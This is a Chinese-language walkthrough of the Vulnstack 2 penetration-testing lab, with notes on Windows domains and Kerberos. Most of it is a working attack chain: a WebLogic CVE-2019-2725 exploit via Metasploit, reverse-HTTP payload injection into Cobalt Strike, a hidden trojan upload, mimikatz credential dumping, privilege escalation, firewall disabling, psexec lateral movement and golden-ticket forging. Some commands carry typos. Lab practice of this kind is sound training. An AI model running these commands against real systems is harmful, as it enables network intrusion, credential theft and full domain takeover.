参考资料 https://cyzcc.vip/2020/07/14/Vulnstack%E4%BA%8C/
靶场地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
环境搭建
按照靶机说明把攻击机和WEB,PC放在同一网段内,WEB,PC,DC有私有网段
管理员域\账户/密码是 DE1AY\Administrator/1qaz@WSX
WEB机在C:\Oracle\Middleware\user_projects\domains\base_domain中有个startWebLogic,以管理员身份运行
PC,WEB机计算机右键->管理->配置->服务->Server, Workstation, Computer Brower全部启动
外网渗透
nmap扫一下对应网段,得到靶机地址,得到开放端口。有个7001端口,无论搜端口还是搜服务信息都是WebLogic。
使用WebLogicscan进行扫描
1
python3 WebLogicscan.py -u ip -p 7001
搜索到一个JAVA反序列化漏洞CVE-2019-2725
网上查找漏洞利用信息,找到一个msf模块 exploit/multi/misc/weblogic_deserialize_asyncresponseservice
利用模块,需要设置target,LHOST,RHOSTS,可以使用show options,show targets查看相关选项
获取到了shell
ctrl+z可以放后台
内网渗透
cabaltstrike工具的使用
- 建立teamserver ./teamserver 本机IP 连接密码
- 启动cabaltstrike客户端,需要java8。连接teamserver。
- 工具栏有个耳机图标,单击然后建立一个新的监听,监听4445端口
msf进行如下操作
- use exploit/windows/local/payload_inject
- set payload windows/meterpreter/reverse_http
- set DisablePayloadHandler true
- set lhost ip
- set lport 4445
- set session 1
- exploit
这时再查看CS,已经连接上靶机了
右键进入beacon界面即可执行命令(右键->interact)
要执行shell命令直接在命令之前加shell,如shell dir
创建监听器用于木马回连
Attacks->Packages->Windows Executable根据靶机类型勾选生成木马
在msf session中使用upload命令上传
sessions 2
upload /home/kali/Downloads/artifact.exe C:\Oracle\Middleware\user_projects\domains\base_domain\artifact.exe
execute命令执行木马,-H 不可见,-i交互
execute -H -i -f artifact.exe
凭证获取
在木马连接右键->access->dump hashes
右键->access->run mimikatz
再点击凭证信息
提权
右键->Access->提权Elevate
ms14-058
成功提升为system权限
域信息搜集
获取当前组名 shell net view 需关闭靶机防火墙,否则出错
第一种 msf> run post/windows/manage/enable_rdp
第二种 菜刀命令输入 netsh advfirewall set allprofiles state off查看所有域 net view /domain
查看IP信息 ipconfig /all
查看域名 shell net config workstation
查看域内机器IP
net view
查询域控机器
shell net group “Domain Controllers” /domain
查询域管理员
shell net group “domain admins” /domain
psexec 传递
传递登陆的概念
获取凭据后对模板网段进行活端口检测,因为是传递登陆,多以仅需检测445端口
portscan ip网段 端口 协议 线程
portscan 10.10.10.0/24 445 arp 200
view->Targets查看端口探测后的存活主机
新建Listener,Payload选择windows/beacon_smb/bind_pipe
存活主机右键->Login->psexec,选择之前后去的凭据信息,选择Listener以及主机Session
使用相同的方法让PC上线
权限维持
在域控中获取KRBTGT账户NTLM密码hash和SID hashdump
黄金票据
WEB机Administrator ->右键-> Access->Golden Ticket
总结
域
域是Windows管理本地网络的一组计算机,是Windows网络中的独立运行的单位
域管理员可以设置组策略,域成员会统一应用这一组策略。可以统一安装软件,统一配置计算机
只有Windows专业版和企业版可以连接到域
域控制器(DC)是域中负责控制的计算机,负责验证连入域网络计算机的验证工作,至少一台
域环境中也有DNS,DNS负责支持DC,也负责帮助人找到DC
域内计算机之间建立了信任关系,在域内访问其它机器,无需再被许可
AD域
工作组
工作组中的每一台计算机独立管理自己资源,无法统一管理资源;一个账户只能登陆一台计算机;计算机之间是平等的;每一个计算机都在本地存储用户账户;规模一般小于10台计算机
黄金票据
认证过程中,client与Kerberos服务器(Access Server)同心会得到TGT,带着TGT请求TGS,得到票据ticket,就可以访问应用服务器。
黄金票据就是自己生成的TGT,生成过程中user,domain,timestamp和权限会经过krbtgt账户hash加密,所以有这些信息就可以生成票据。krbtgt账户不自动更新的,krbtgt需要域管理权限。有了黄金票据,就免除了向AS验证用户名和密码的阶段。
winlogin.exe 接收用户名,密码,域信息,传递给lsass.exe
lsass.exe 把经过kerberos处理的用户名密码域SAM进行对比验证,返回结果
SAM数据库 存储账号和密码hash的数据库
NetLogin 域认证加密信道
查看域
1 | systeminfo |
查看账号信息簇,生成,导入都需要mimikatz
检验缓存票据
1 | klist |
利用票据访问
1 | net use \\xx.domain-name |
白银票据
是伪造的TGS,只能访问特定的服务器
使用mimikatz生成,导入,管理等
mimikatz
可以从lsass.exe处获取账号密码,或从文件中找到密码哈希值
设置特权 privilege::debug
获取本机用户名,口令,sid等,导出域 sekurlsa::logonpasswrods
获得域控权限 需要ms14-068漏洞 ms14-068 -u -p -s -d
生成缓存,导入伪造缓存 kerberos::ptc test.cache
登陆:net use 导入的缓存
导出lsass.dump sekurlsa::minidump lsass.dump
sekurlsa::logonPasswords full
导出所有用户口令 lsadump::sam SYSTEM.hiv SAM.hiv
net use \A-635ECAEE64804.TEST.LOCAL mimikatz /user:test
生成黄金票据
kerberos::golden /user:Administrator /domain:test.local/sid:S-1-5-21-2848411111-3820811111-1717111111/krbtgt:d3b949b1f4ef947820f0950111111111 /ticket:test.kirbi
??刷新扫雷记录? minesweeper::Infos